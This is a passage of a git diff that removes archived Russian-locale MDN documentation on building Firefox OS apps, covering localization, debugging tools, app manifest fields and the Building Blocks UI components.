-<p><strong>Note</strong>: Installable open web apps used to have a "single app per origin" security policy, but this was lifted as of Firefox 34/Firefox OS 2.1 (read <a href="https://developer.mozilla.org/en-US/Apps/Build/installable_apps_for_Firefox_OS/App_manifest_FAQ#Can_I_have_more_than_one_app_at_my_origin.3F">this FAQ entry</a> for more information). If you still need to support older versions, consider hosting your apps at separate origins; one strategy is to <a href="/en-US/Marketplace/Publishing/Adding_a_subdomain">create different subdomains</a> for your apps.</p>
-</div>
-
-<h3 id="Multi-locale_apps">Multi-locale apps</h3>
-
-<p>You can create multi-locale apps quite easily. This is done by:</p>
-
-<ol>
- <li>Adding special <code>data-l10n-id</code> attributes to each HTML element that requires localization, the value of which should be an identifier for that string. For example:</li>
- <li><code>&lt;h1 data-l10n-id="app-title"&gt;My app&lt;/h1&gt;</code>.</li>
- <li>Including the <a href="https://github.com/fabi1cazenave/webL10n/blob/master/l10n.js">l10n.js</a> library in your page using a regular <a href="/en-US/docs/Web/HTML/Element/script" title="The HTML &lt;script> element is used to embed or reference an executable script."><code>&lt;script&gt;</code></a> element.</li>
- <li>Creating a <code>locales</code> folder inside your app directory containing a folder for each separate locale, then placing an <code>app.properties</code> file inside each one containing that language's translations, each one on a new line. For example <code>app-title = Mon application</code> for French.</li>
- <li>Creating a <code>locales.ini</code> file inside the locales folder, which specifies the default locale and the path to each <code>app.properties</code> file. This will look like so:
- <pre>@import url(en/app.properties)
-
-[es]
-@import url(fr/app.properties)</pre>
- </li>
- <li>Referencing <code>locales.ini</code> from your HTML file using a <a href="/en-US/docs/Web/HTML/Element/link" title="The HTML &lt;link> element specifies relationships between the current document and an external resource. Possible uses for this element include defining a relational framework for navigation. This element is most used to link to style sheets."><code>&lt;link&gt;</code></a> element, like so:
- <pre class="brush: html">&lt;link rel="resource" type="application/l10n" href="locales/locales.ini" /&gt;</pre>
- </li>
- <li>Updating your manifest file to include a default locale and locales field containing information about your supported locales:
- <pre class="brush: json">"default_locale": "en",
-"locales": {
- "fr": {
- "name" : "Mon application",
- "description" : "Mon application description"
- }
-}</pre>
- </li>
-</ol>
-
-<p>For more details, begin with our <a href="/en-US/Apps/Build/Localization/Getting_started_with_app_localization">Getting started with app localization</a> article, then check out the rest of our articles about <a href="/en-US/Apps/Build/Localization">app localization</a>.</p>
-
-<h3 id="Debugging_apps">Debugging apps</h3>
-
-<p>Mozilla provides a number of tools to help you test Firefox OS apps.</p>
-
-<h4 id="Testing_on_Firefox_desktop">Testing on Firefox desktop</h4>
-
-<p>The quickest way to test your app's basic functionality is to simply load it in Firefox desktop (open the <code>index.html</code> file in the browser) — this supports most of the features you'll be using to develop your app (with the exception of some of the device APIs.) From here you can use the standard <a href="/en-US/docs/Tools/Browser_Toolbox">Firefox Toolbox</a> to debug your code, and the <a href="/en-US/docs/Tools/Responsive_Design_View">Responsive Design View</a> to test responsive/mobile layouts.</p>
-
-<h4 id="Testing_in_the_Firefox_OS_simulator">Testing in the Firefox OS simulator</h4>
-
-<p>You can also test the app in a Firefox OS simulator via our <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> tool. This will give you a more realistic idea of how it will look on a real device.</p>
-
-<div class="note">
-<p><strong>Note</strong>: Our new <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> tool is currently only available in Firefox Nightly, but will be rolled out across all versions soon. It does everything App Manager does and more, including in-app code editing, creation of new apps, and tools like the <a href="/en-US/docs/Tools/WebIDE/Monitor">Monitor</a>, which enables to track performance across an app's lifespan.</p>
-</div>
-
-<h4 id="Testing_on_a_Firefox_OS_device">Testing on a Firefox OS device</h4>
-
-<p>Some device APIs — such as the vibration API — can't be tested successfully on a simulator. To fully test this you'll need to get hold of a real Firefox OS device. If you've got one, you can connect it to your computer and install apps contained on your local drive straight onto it via the App Manager/WebIDE.</p>
-
-<h4 id="Logcat">Logcat</h4>
-
-<p>The Android <a href="/en-US/Firefox_OS/Debugging/On-device_console_logging#Using_logcat">adb logcat tool</a> is very useful for getting debugging output from a Firefox OS device, if you are comfortable with command line tools. For example, you can get info on dying apps using the following:</p>
-
-<pre class="brush: bash">adb logcat GeckoConsole:* *:F | grep -vE "parsing value|Unknown property|declaration|invalid source| but found |pseudo-"</pre>
-
-<h3 id="Supporting_cross-Firefox_OS_versions">Supporting cross-Firefox OS versions</h3>
-
-<p>Note that when developing apps for Firefox OS, you need to bear in mind what platform versions will be available on the devices your customers will have (see our <a href="/en-US/Firefox_OS/Developer_phone_guide/Phone_specs#Firefox_OS_phones_available">available phones table</a> for a list.) Remember that it is not as simple to update phone platform software as it is desktop software — users tend to be at the mercy of the network providers. You therefore need to develop apps to support these versions. As an example, multiline Flexbox doesn't work on Firefox OS versions below 1.3, so you may need to use a simpler layout method or provide a fallback for older versions.</p>
-
-<p>This issue should go away soon, as more consumer Firefox OS devices appear, equipped with newer versions of Firefox OS out of the box.</p>
-
-<div class="warning">
-<p>The current baseline platform we recommended developing for is <a href="/en-US/Firefox_OS/Releases/1.1">Firefox OS 1.1</a>.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: MDN's <a href="/en-US/docs/Web">web platform reference pages</a> include browser/platform support information, plus you can find support information for more App-specific technologies on our <a href="/en-US/Apps/Reference">Apps API Reference</a>.</p>
-</div>
-
-<h2 id="Examples">Examples</h2>
-
-<p>You can find many examples throughout the App Center <a href="/en-US/Apps/Build">Build section</a>; there are also some examples in our <a href="/en-US/Apps/Reference_apps">Reference apps</a> section.</p>
-
-<h2 id="Tutorials">Tutorials</h2>
-
-<h3 id="Installable_app_basics">Installable app basics</h3>
-
-<dl>
- <dt><a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial">Firefox OS app beginners tutorial</a></dt>
- <dd>A complete beginner's guide to creating a Firefox OS app.</dd>
- <dt><a href="/en-US/Marketplace/Options/Packaged_apps">Packaged apps</a></dt>
- <dd>A packaged app is an Open Web App that has all of its resources contained in a zip file, instead of having its resources on a Web server. In here you'll learn all you need to know about packaged apps.</dd>
- <dt><a href="/en-US/Marketplace/Options/Hosted_apps">Hosted apps</a></dt>
- <dd>A hosted app is an Open Web App that has all of its resources (HTML, CSS, JavaScript, app manifest and so on) stored on a Web server. This article will tell you all you need to know about hosted apps.</dd>
- <dt><a href="/en-US/Marketplace/Options/Packaged_or_hosted_">Packaged or hosted?</a></dt>
- <dd>Should you make your app hosted or packaged? This article will help you decide.</dd>
- <dt><a href="/en-US/Marketplace/Options/Self_publishing">Self-publishing apps</a></dt>
- <dd>This guide explains how to write the code that controls publishing apps, should you wish to write it yourself rather than use the <a href="https://marketplace.firefox.com/">Firefox Marketplace</a>.</dd>
-</dl>
-
-<h3 id="Advanced_topics">Advanced topics</h3>
-
-<dl>
- <dt><a href="/en-US/Apps/Build/Icon_implementation_for_apps#Firefox_OS">Icon implementation for apps</a></dt>
- <dd>Implementation specifics for implementing Firefox app icons, including different sizes needed.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Updating_apps" title="/en-US/docs/Web/Apps/Updating_apps">Updating apps</a></dt>
- <dd>How app updates are handled.</dd>
-</dl>
-
-<div class="section">
-<h2 id="Reference">Reference</h2>
-
-<dl>
- <dt><a href="/en-US/Apps/Reference/Firefox_OS_app_tools">Firefox OS app tools</a></dt>
- <dd>This page provides a list of useful tools, libraries and examples that are useful for Firefox OS app developers, whether you want an code template to copy, or need help with adding a specific feature to your Firefox OS app.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Build/Manifest" title="/en-US/docs/Web/Apps/Manifest">App manifest</a></dt>
- <dd>A detailed guide to Open Web App manifest files, and the different options they can contain.</dd>
- <dt><a href="/en-US/docs/Web/Apps/App_permissions">App permissions</a></dt>
- <dd>Access to device APIs is key to creating many useful apps. Here is what's available and how to access them.
- <div class="note">
- <p><strong>Note</strong>: you can use the <a href="https://github.com/mozilla-b2g/fxos-appgen">Firefox OS App Generator</a> to automatically generate and install FxOS apps with particular permissions, message-listeners, types, etc.</p>
- </div>
- </dd>
- <dt><a href="/en-US/Firefox_OS/API_support_table">Firefox OS API support table</a></dt>
- <dd>A list of the different APIs available to Firefox OS, and what support is available for them.</dd>
- <dt><a href="/en-US/docs/Web/Apps/JavaScript_API" title="/en-US/docs/Web/Apps/JavaScript_API">App installation and management APIs</a></dt>
- <dd>A reference for the installation and management APIs that control installation and other functions of installable Open Web Apps.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Platform-specific_details">Platform-specific details of app installation</a></dt>
- <dd>There are some differences in how apps are installed across the various platforms that support Open Web Apps; this article will help you to understand them.</dd>
- <dt><a href="/en-US/Apps/Build/installable_apps_for_Firefox_OS/CSP">CSP for open web apps</a></dt>
- <dd>Unlike traditional web sites, privileged and certified apps enforce a CSP (content security policy) by default. This may cause quite a bit of existing code to break while porting and cause a significant amount of confusion if developers are unaware that the CSP exists. This article explains what the restrictions imposed by the open web app CSP are.</dd>
-</dl>
-
-<h2 id="FAQ">FAQ</h2>
-
-<dl>
- <dt><a href="/en-US/Apps/Build/installable_apps/App_manifest_FAQ" title="/en-US/docs/Web/Apps/FAQs/About_app_manifests">App manifests FAQ</a></dt>
- <dd>Manifest frequently asked questions.</dd>
-</dl>
-</div>
-
-<dl>
- <dt> </dt>
-</dl>
diff --git a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/манифест/index.html b/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/манифест/index.html
deleted file mode 100644
index 710f070384..0000000000
--- a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/манифест/index.html
+++ /dev/null
@@ -1,264 +0,0 @@
----
-title: Манифест приложения
-slug: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS/Манифест
-translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS/Manifest
----
-<div class="hidden">{{IncludeSubnav("/ru/docs/Archive/B2G_OS")}}</div>
-
-<div class="blockIndicator nonStandard">
-<p><strong>Нестандартно:</strong> Эта функция отсутствует в текущей версии стандартов W3C, но поддерживается на платформе Firefox OS. Хотя реализации могут измениться в будущем и не будут широко поддерживаться в разных браузерах, они подходят для использования в коде, предназначенном для приложений Firefox OS.</p>
-</div>
-
-<div class="blockIndicator warning">
-<p><strong>Важно</strong>: Этот документ относится к формату манифеста Firefox OS, а не к спецификации манифеста W3C, разработанной для кросс-браузерных прогрессивных веб-приложений.</p>
-</div>
-
-<div class="summary">
-<p>Манифест приложения Firefox OS предоставляет информацию о приложении (например, имя, автора, значок и описание) в виде простого документа, который может использоваться как пользователями, так и магазинами приложений. Самое главное, он содержит список веб-API, которые нужны вашему приложению. Это позволяет пользователям принимать обоснованные решения о приложениях перед их установкой. Это одна из ключевых вещей, которая отличает приложение Firefox OS от веб-сайта.</p>
-</div>
-
-<div class="blockIndicator note">
-<p><strong>Примечание</strong>: Браузеры, которые обрабатывают манифесты и позволяют устанавливать приложения Firefox OS, включают веб-среду выполнения. Это включает в себя ОС Firefox и более новые версии Firefox для Android и Firefox для настольных компьютеров.</p>
-</div>
-
-<div class="blockIndicator note">
-<p><strong>Примечание</strong>: Вы можете найти информацию о манефесте на MANIFEST FAQ</p>
-</div>
-
-<p>В этом разделе подробно описываются критически важные детали, необходимые для создания и использования манифеста приложения.</p>
-
-<h3 class="h3first" id="Условные_обозначения_имя_файла_местоположение_и_формат">Условные обозначения: имя файла, местоположение и формат</h3>
-
-<ul>
- <li>Имя файла: <code>manifest.webapp</code> (Вы должны использовать расширение <code>.webapp</code>)</li>
- <li>Расположение: Ваше приложение в root-директории</li>
- <li>Формат: <a href="/en-US/docs/Glossary/JSON">JSON</a></li>
-</ul>
-
-<h3 id="Обработка_пути">Обработка пути</h3>
-
-<ul>
- <li>Внутренние пути для манифестов, значков и т. д. должны быть абсолютными от источника приложения, а не от корня приложения. Например, если ваш манифест находится по адресу http://www.mysite.com/myapp/manifest.webapp, путь установки будет /myapp/manifest.webapp, а не /manifest.webapp.</li>
- <li>Внутренние пути также должны обслуживаться из того же источника, что и приложение.</li>
- <li>Внешние пути должны быть полностью квалифицированы. Например, если у вас есть упакованное приложение на Firefox Marketplace, но значок размещен на вашем собственном сервере, путь к значку будет http: //mywebapp/images/myicon.png.</li>
-</ul>
-
-<h3 id="Требования_для_публикации_в_Firefox_Marketplace">Требования для публикации в Firefox Marketplace</h3>
-
-<p>Если вы захотите опубликовать свое приложение, то в вашем манифесте должно присутвовать:</p>
-
-<ul>
- <li><code>name</code></li>
- <li><code>description</code></li>
- <li><code>launch_path</code></li>
- <li><code>icons</code></li>
- <li><code>developer</code></li>
- <li><code>default_locale</code></li>
- <li><code>type</code></li>
-</ul>
-
-<h3 id="Требования_к_общим_открытым_веб-приложениям">Требования к общим открытым веб-приложениям</h3>
-
-<p>Если вы создаете общее размещенное приложение, которое не будет опубликовано в Firefox Marketplace, ваш манифест приложения должен содержать следующие поля:</p>
-
-<ul>
- <li><code>name</code></li>
- <li><code>description</code></li>
- <li><code>icons</code> (1 icon of 128×128 обязательно, 1 icon of 512×512 рекомендуется)</li>
-</ul>
-
-<div class="blockIndicator note">
-<p><strong>Примечание</strong>: Чтобы самостоятельно публиковать приложение со страницы, которой вы управляете, необходимо предоставить пользователям механизм запуска установки приложения. Обычно это делается путем вызова <code>navigator.Apps.install ()</code> при нажатии кнопки в случае размещенного приложения или <code>navigator.Apps.installPackage ()</code> в случае упакованного приложения.</p>
-</div>
-
-<p>Если вы отправляете в Firefox Marketplace, манифест вашего приложения должен пройти проверку Marketplace.</p>
-
-<p>Попробуйте наш App Validator, который поможет вам выявить любые ошибки. Или вы можете использовать этот API для проверки манифеста вашего приложения.</p>
-
-<h2 id="Пример_манифеста">Пример манифеста</h2>
-
-<p>Ниже приведен минимальный манифест. Вы можете скопировать его в текстовый файл и заменить значения своей собственной информацией.</p>
-
-<pre class="brush: json">{
- "name": "My App",
- "description": "My elevator pitch goes here",
- "launch_path": "/index.html",
- "icons": {
- "512": "/img/icon-512.png",
- "128": "/img/icon-128.png"
- },
- "developer": {
- "name": "Your name or organization",
- "url": "http://your-homepage-here.org"
- },
- "default_locale": "en",
- <code class="language-json"><span class="key token">"chrome":</span> <span class="punctuation token">{</span> <span class="key token">"navigation":</span> <span class="keyword token">true</span> <span class="punctuation token">}</span></code>
-}</pre>
-
-<h2 id="Обязательные_поля_манифеста_приложения">Обязательные поля манифеста приложения</h2>
-
-<p>Поля в вашем манифесте могут быть в любом порядке. Поля в манифесте, кроме перечисленных ниже, будут игнорироваться.</p>
-
-<h3 class="h3first" id="name"><code>name</code></h3>
-
-<div class="blockIndicator note">
-<p class="red"><strong>Примечание</strong>: Обязательно</p>
-</div>
-
-<pre class="brush: json">"name": "The Open Web!"</pre>
-
-<h3 id="description"><code>description</code></h3>
-
-<div class="blockIndicator note">
-<p class="red"><strong>Примечание</strong>: Обязательно</p>
-</div>
-
-<pre class="brush: json">"description": "Exciting Open Web App!"</pre>
-
-<h3 id="launch_path"><code>launch_path</code></h3>
-
-<div class="blockIndicator note">
-<p class="red"><strong>Примечание</strong>: Обязательно</p>
-</div>
-
-<pre class="brush: json">"launch_path": "/index.html"</pre>
-
-<h3 id="icons"><code>icons</code></h3>
-
-<pre class="brush: json">"icons": {
- "128": "/img/icon-1.png",
- "512": "/img/icon-2.jpg"
-}
-</pre>
-
-<h3 id="developer"><code>developer</code></h3>
-
-<ul>
- <li><code>name</code></li>
- <li><code>url</code></li>
-</ul>
-
-<pre class="brush: json">"developer": {
- "name": "The Open Web!",
- "url": "http://www.mywebapp.com"
-}</pre>
-
-<h3 id="default_locale"><code>default_locale</code></h3>
-
-<pre class="brush: json">"default_locale": "en"</pre>
-
-<h3 id="type"><code>type</code></h3>
-
-<ul>
- <li><code>web</code></li>
- <li><code>privileged</code></li>
- <li><code>certified</code></li>
-</ul>
-
-<pre class="brush: json">"type": "certified"
-</pre>
-
-<h3 id="chrome"><code>chrome</code></h3>
-
-<p>Настройка панели навигации</p>
-
-<p><img alt="chrome navigation" src="https://mdn.mozillademos.org/files/5843/nav-both2.png" style="height: 98px; width: 726px;"></p>
-
-<pre class="brush: json">"chrome": { "navigation": true }</pre>
-
-<h3 id="fullscreen"><code>fullscreen</code></h3>
-
-<p>Показывать приложение в полный экран</p>
-
-<pre class="brush: json">"fullscreen": "true"</pre>
-
-<h3 id="inputs"><code>inputs</code></h3>
-
-<p>Обозначение языков ввода в приложении-клавиатуре</p>
-
-<pre>"inputs": {
- "en": {
- "launch_path": "/index.html#en",
- "name": "English",
- "description": "English layout",
- "types": ["url", "text"],
- "locales": {
- "en-US": {
- "name": "English",
- "description": "English layout"
- },
- "zh-TW": {
- "name": "英文",
- "description": "英文鍵盤"
- }
- }
- },
- "en-Dvorak": {
- "launch_path": "/index.html#en-Dvorak",
- "name": "English (Dvorak)",
- "description": "Dvorak layout",
- "types": ["url", "text"]
- },
- "es": {
- "launch_path": "/index.html#es",
- "name": "Spanish",
- "description": "Spanish layout",
- "types": ["url", "text"]
- },
-
- ...
-
-}
-</pre>
-
-<h3 id="orientation"><code>orientation</code></h3>
-
-<table class="table table-bordered">
- <thead>
- <tr>
- <th>value</th>
- <th>App will stay locked to</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>portrait-primary</code></td>
- <td><img alt="Phone upright in portrait orientation" src="https://mdn.mozillademos.org/files/8487/portrait-primary.png" style="height: 111px; width: 63px;"></td>
- </tr>
- <tr>
- <td><code>portrait-secondary</code></td>
- <td><img alt="Phone upsidedown in portrait orientation" src="https://mdn.mozillademos.org/files/8489/portrait-secondary.png" style="height: 111px; width: 63px;"></td>
- </tr>
- <tr>
- <td><code>portrait</code><br>
- If you declare this, there's no need to write<br>
- <code>-primary</code> or <code>-secondary</code></td>
- <td><img alt="Phone upright in portrait orientation" src="https://mdn.mozillademos.org/files/8487/portrait-primary.png" style="height: 111px; width: 63px;"><img alt="Phone upsidedown in portrait orientation" src="https://mdn.mozillademos.org/files/8489/portrait-secondary.png" style="height: 111px; width: 63px;"></td>
- </tr>
- <tr>
- <td><code>landscape-primary</code></td>
- <td><img alt="Phone lying on its left hand side in landscape orientation" src="https://mdn.mozillademos.org/files/8483/landscape-primary.png" style="height: 63px; width: 113px;"></td>
- </tr>
- <tr>
- <td><code>landscape-secondary</code></td>
- <td><img alt="Phone lying on its right hand side in landscape orientation" src="https://mdn.mozillademos.org/files/8485/landscape-secondary.png" style="height: 63px; width: 113px;"></td>
- </tr>
- <tr>
- <td><code>landscape</code><br>
- If you declare this, there's no need to write<br>
- <code>-primary</code> or <code>-secondary</code></td>
- <td>
- <p><img alt="Phone lying on its left hand side in landscape orientation" src="https://mdn.mozillademos.org/files/8483/landscape-primary.png" style="height: 63px; width: 113px;"></p>
-
- <p><img alt="Phone lying on its right hand side in landscape orientation" src="https://mdn.mozillademos.org/files/8485/landscape-secondary.png" style="height: 63px; width: 113px;"></p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<pre>"orientation": [ "landscape-primary" ]</pre>
-
-<h3 id="origin"><code>origin</code></h3>
-
-<pre>"origin": "app://mywebapp.com"
-</pre>
diff --git a/files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html b/files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html
deleted file mode 100644
index 26876bbab8..0000000000
--- a/files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html
+++ /dev/null
@@ -1,179 +0,0 @@
----
-title: Firefox OS Building Blocks
-slug: Archive/B2G_OS/Firefox_OS_apps/Building_blocks
-translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks
----
-<section class="Quick_links" id="Quick_Links">
-
-<ol>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install</a>
- <ol>
- <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
- </ol>
- </li>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting B2G OS</a>
- <ol>
- <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
- </ol>
- </li>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia</a>
- <ol>
- <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
-
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
-</ol>
-</section>
-
-<div class="summary">
-<p>The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.</p>
-</div>
-
-<h2 id="Using_the_Firefox_OS_Building_Blocks">Using the Firefox OS Building Blocks</h2>
-
-<p>The code for the Firefox OS Building Blocks can be found in the <a href="https://github.com/mozilla-b2g/gaia">Gaia Github repo</a> under <a href="https://github.com/mozilla-b2g/gaia/tree/master/shared/style">shared/style</a>. Here, you can find a CSS file that contains the CSS for that particular Building Block, and a sub directory containing the HTML fragments and image assets. If you are creating your own standalone Web app, you can simply copy the CSS, HTML and image asset files across into your own project; if your app is intended to be installed on Firefox OS only (or you want to use these features only when the app is being used on Firefox OS), then you can link to the versions available inside Gaia.</p>
-
-<p>The pages for the individual Building Block implementations can be found under the pages for each building block — see next section. These contain instructions on how to implement each one.</p>
-
-<div class="note">
-<p><strong>Note</strong>: The version 2.0 building block code is used in Firefox OS releases 2.0 through 2.2. Version 2.3 sees an update, with the building blocks being reimplemented using <a href="/en-US/docs/Web/Web_Components">Web components</a> — these provide the same functionality, but implemented in a much more powerful, flexible way. You'll see 2.3 pages appear underneath the main building block pages covering these Web components as soon as the information is available.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: We also have an old guide covering the <a href="/en-US/Apps/Design/Firefox_OS_building_blocks/1.x">v1.x building blocks</a> used in older versions of Firefox OS. This is mainly for legacy information.</p>
-</div>
-
-<h2 id="Web_components_preliminary_setup">Web components preliminary setup</h2>
-
-<p>This section details the preliminary setup needed to use Gaia Web components.</p>
-
-<h3 id="Web_components_browser_support">Web components browser support</h3>
-
-<p>To use <a href="https://github.com/gaia-components">Gaia Web components</a> at all, you need to run them using a browser that supports Web components. The state of support is as follows:</p>
-
-<ul>
- <li>Firefox: Supported since Firefox 23 (33 on Android), but preffed off. To enable Web components, go to <code>about:config</code> and enable the <code>dom.webcomponents.enabled</code> pref.</li>
- <li>Chrome: Supported since Chrome 33 (39 on Android).</li>
- <li>Opera: Supported since Opera 20 (24 on Android).</li>
- <li>Android browser: Supported since 4.4.4.</li>
- <li>Safari/iOS Mobile and IE/IE mobile: Nope.</li>
-</ul>
-
-<p>Web components are supported in Firefox OS from v2.1 onwards, although most of them weren't actually implemented until v2.3. Be aware also that currently Web components won't work for Firefox OS apps below internal (certified) level. This restriction should be lessened in the future.</p>
-
-<div class="note">
-<p><strong>Note</strong>: If your app is certified, the components will just work. You don't need to set a specific manifest permission.</p>
-</div>
-
-<h3 id="Web_components_installation_notes">Web components installation notes</h3>
-
-<p>Gaia Web components are installed in your app using the <a href="http://bower.io/">Bower</a> package manager. To install this, you first need <a href="http://nodejs.org/">Node.js/npm</a> and <a href="http://www.git-scm.com/">Git</a> installed. Once they are installed you can install Bower with</p>
-
-<pre class="brush: bash">npm install -g bower</pre>
-
-<p>At this point you could also install the Gaia Fira Sans font that Firefox OS uses in your app , with the following command:</p>
-
-<pre class="brush: bash">bower install gaia-components/gaia-fonts</pre>
-
-<p>You can then make use of the font by including the following in your head (along with a <code>font-family</code> of <code>FiraSans</code>):</p>
-
-<pre class="brush: html">&lt;link rel="stylesheet" type="text/css" href="bower_components/gaia-fonts/style.css"&gt;&lt;/link&gt;</pre>
-
-<h2 id="Firefox_OS_Building_Blocks">Firefox OS Building Blocks</h2>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Action_menu">Action menu</a></dt>
- <dd>An action menu presents a list of actions, related to the app's content, from which the user may make a selection.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Banners">Banners</a></dt>
- <dd>Banners (Status, in older versions of Firefox OS) provide information to the user in a transitory fashion, typically to confirm an action or to alert the user to a system event.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Buttons">Buttons</a></dt>
- <dd>Buttons are used to perform explicit actions. Buttons may be text or images.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Context_menu">Context menu</a></dt>
- <dd>Accessed via a tap and hold gesture (sometimes called a <em>long press</em>), the Context Menu (called the Object Menu in older versions of Firefox OS) allows users to perform actions on objects without having to leave their current view.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Dialog">Dialog</a></dt>
- <dd>A Dialog (Confirm, in older versions of Firefox OS) provides the user with some important information, asks the user to take or confirm an action, or allows the user to make a choice or enter some information.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Drawer">Drawer</a></dt>
- <dd>The drawer is a scalable way for users to navigate between views or filter views. The drawer can also include links to app settings or other tools.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Header">Header</a></dt>
- <dd>A header is a dedicated space at the top of the screen, most often used to display the view title. It can also include navigation, action buttons and other controls.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Input_area">Input area</a></dt>
- <dd>An input area is a data entry field, and can be as simple as a text only entry field, or as complex as a multipart entry field with text entry, value selections, and buttons.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Layout">Layout</a></dt>
- <dd>The Layout utility will help you to create common layout structures for your Firefox OS apps. Note that Layout is only available in Firefox OS 2.1 and above.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/List_items">List items</a></dt>
- <dd>List items are typically used to navigate to a new screen, or to display information or controls.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Picker">Picker</a></dt>
- <dd>The Picker is designed to select a group of items as attachments for messaging and email.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Progress_and_activity">Progress and activity</a></dt>
- <dd>Progress and activity indicators provide the user with visual feedback that a process (such as a resource loading) is active.</dd>
